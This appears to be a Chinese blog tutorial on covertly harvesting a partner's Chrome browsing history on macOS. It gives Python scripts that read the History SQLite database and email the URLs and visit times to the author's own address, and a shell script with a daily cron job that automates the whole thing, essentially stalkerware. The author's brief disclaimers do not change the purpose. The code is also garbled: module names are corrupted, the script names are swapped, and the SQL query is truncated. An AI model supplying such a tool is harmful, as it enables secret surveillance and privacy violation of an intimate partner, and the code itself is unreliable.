需求:
(1) 獲取你物件chrome前一天的瀏覽記錄中的所有網址(url)和訪問時間,並存在一個txt檔案中
(2)將這個txt檔案傳送給指定的郵箱地址(你的郵箱)
(3)建立例行任務,每天定時自動完成這些操作,你就可以透過郵件檢視你物件每天看啥了
背景:
(1)mac下chrome的瀏覽記錄在哪?怎麼獲取網址(url)和訪問時間?
答:路徑:/Users/使用者名稱/Library/Application\ Support/Google/Chrome/Default/History
History:是一個SQLite資料庫,其實就是一個檔案,可以用DB Browser for SQLite
去檢視所有的資訊,我們要的資訊在urls表中
怎麼獲取:用python內建的sqlite3庫連線History,透過sql得到我們想要的資訊
(2)怎麼傳送一個帶附件的郵件?
答:使用python內建的email和smtplib兩個模組去構造和傳送郵件
(3)怎麼把這些過程自動化?
答:使用shell指令碼將這些過程連線起來,然後使用crontab命令定時執行
準備
macOS Sierra
Python3.6
Chrome
傳送郵件的qq郵箱地址
qq郵箱授權碼
SMTP伺服器地址 : smtp.qq.com
接受郵件的郵箱地址
執行:
(1) 首先我們用DB Browser for SQLite來看下History中的urls表的資料組成
從表中可以看出,我們要的網址和訪問時間就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-
from email import encoders
from email.essay-header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse
# 1.檔案執行的需要的引數(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()
# 2.格式化一個郵件地址和郵件資訊
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
#連線伺服器(這裡大家好改成自己的!)
from_addr = "771568102@qq.com" #發件人郵箱
password = "xxxxxxxx" #發件人郵箱授權碼
to_addr = "2160802033@cnu.edu.cn" #收件人郵箱
smtp_server = "smtp.qq.com" #SMTP伺服器地址
#郵件發件人名字、收件人名字、主題
msg = MIMEMultipart()
msg['From'] = _format_addr('風一樣的女子 ' % from_addr)
msg['To'] = _format_addr('風一樣的男子 ' % to_addr)
msg['Subject'] = Header('chrome歷史記錄每日更新', 'utf-8').encode()
# 郵件正文是MIMEText:
msg.attach(MIMEText('窺探隱私是犯法的啊!', 'plain', 'utf-8'))
# 新增附件就是加上一個MIMEBase,從本地讀取一個txt檔案:
with open(args.affix_file, 'r') as f:
# 設定附件的MIME和檔案名,這裡是py型別:
mime = MIMEBase('result', 'txt', filename='result.txt')
# 加上必要的頭資訊:
mime.add_essay-header('Content-Disposition', 'attachment', filename='result.txt')
mime.add_essay-header('Content-ID', '<0>')
mime.add_essay-header('X-Attachment-Id', '0')
# 把附件的內容讀進來:
mime.set_payload(f.read())
# 用Base64編碼:
encoders.encode_base64(mime)
# 新增到MIMEMultipart:
msg.attach(mime)
#3.透過SMTP發送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()
透過這個指令碼,我們可以把url和訪問時間提取出來,並且儲存在
result.txt中,下圖就是我得到的部分結果
(3) send_email.py:
# -*- coding: utf-8 -*-
import sqlite3
#大家要改成自己的路徑
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'
# 1.連線history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()
# 2.選取我們想要的網址和訪問時間
try:
select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm)
cursor.execute(select_statement)
except sqlite3.OperationalError:
print("[!] The database is locked! Please exit Chrome and run the script again.")
quit()
# 3.將網址和訪問時間存入result.txt檔案
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路徑
for i in range(len(results)):
f.write(results[i][1]+'\n')
f.write(results[i][0]+'\n')
透過這個指令碼,我們可以把result.txt作為附件,傳送給指定郵箱地
址,下圖是我得到的部分結果
(4) ./start.sh :其實,前面幾個指令碼,已經完成了我們的任務,但是每次都執行這麼多腳
本,太麻煩了,我們可以把這些指令碼的執行陳述句整理成一個shell指令碼。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
這樣,我們在終端執行./start.sh,系統就會幫我們把這三條陳述句依次執行了
註意:由於crontab命令需要絕對路徑,所以這裡的路徑都是用絕對路徑
(5) crontab :如果使用了這個命令,在電腦開機並且聯網的情況,系統會自動執行,然後把結果發到你的郵箱
使用方法:在終端下輸入crontab -e,使用vim輸入下麵一行程式碼就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
說明:前面兩個數字,就是你每天執行這個指令碼的時間,我這裡設定的是14:20。
重要的事再說一遍,一定要寫絕對路徑!!!
問題:
1.server.login(from_addr, password)函式中的password不是郵箱密碼,在qq郵箱中,指的是授權碼
答:qq郵箱授權碼:什麼是授權碼,它又是如何設定?_QQ郵箱幫助中心
2.訪問History資料庫時,顯示The database is locked!
答:在我們開啟瀏覽器的同時去訪問History時,就會出現這種情況,有兩種解決辦法:
(1)關閉瀏覽器,再去訪問
(2)把History複製到其他檔案夾中,然後訪問該檔案夾下的History
3.timestamp時間戳怎麼轉換的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0時0分0秒,所以要減去11644473600;
篩選昨天的資料:現在的日期與last_visit_time的差值小於1的資料,就是距離當前時
間小於1天的資料
4.crontab出錯
答:crontab中所有路徑都要寫絕對路徑,包括py指令碼中的路徑也要寫絕對路徑!
5.路勁問題
答:大家在復現的時候,要註意把路勁改成自己電腦上的,還有那個郵箱相關的資訊也要改成自己的。
總結:
1.運用python連線SQLite資料庫,並執行sql操作
2.運用python傳送郵件
3.運用shell和crontab建立自動化例行任務
4.看別人隱私是不對的,這篇文章只是我自己瞎玩的,實際可行性不強
展望:
1.把這些打包成一個可執行檔案,雙擊之後可以直接部署,並且可以跨平臺
2.目前這個指令碼,只有在電腦是開啟並且聯網的時候,才能自動執行,所以並不能理想地監控別人的瀏覽記錄哦!
作者:marcelyz
源自:
https://zhuanlan.zhihu.com/p/39426683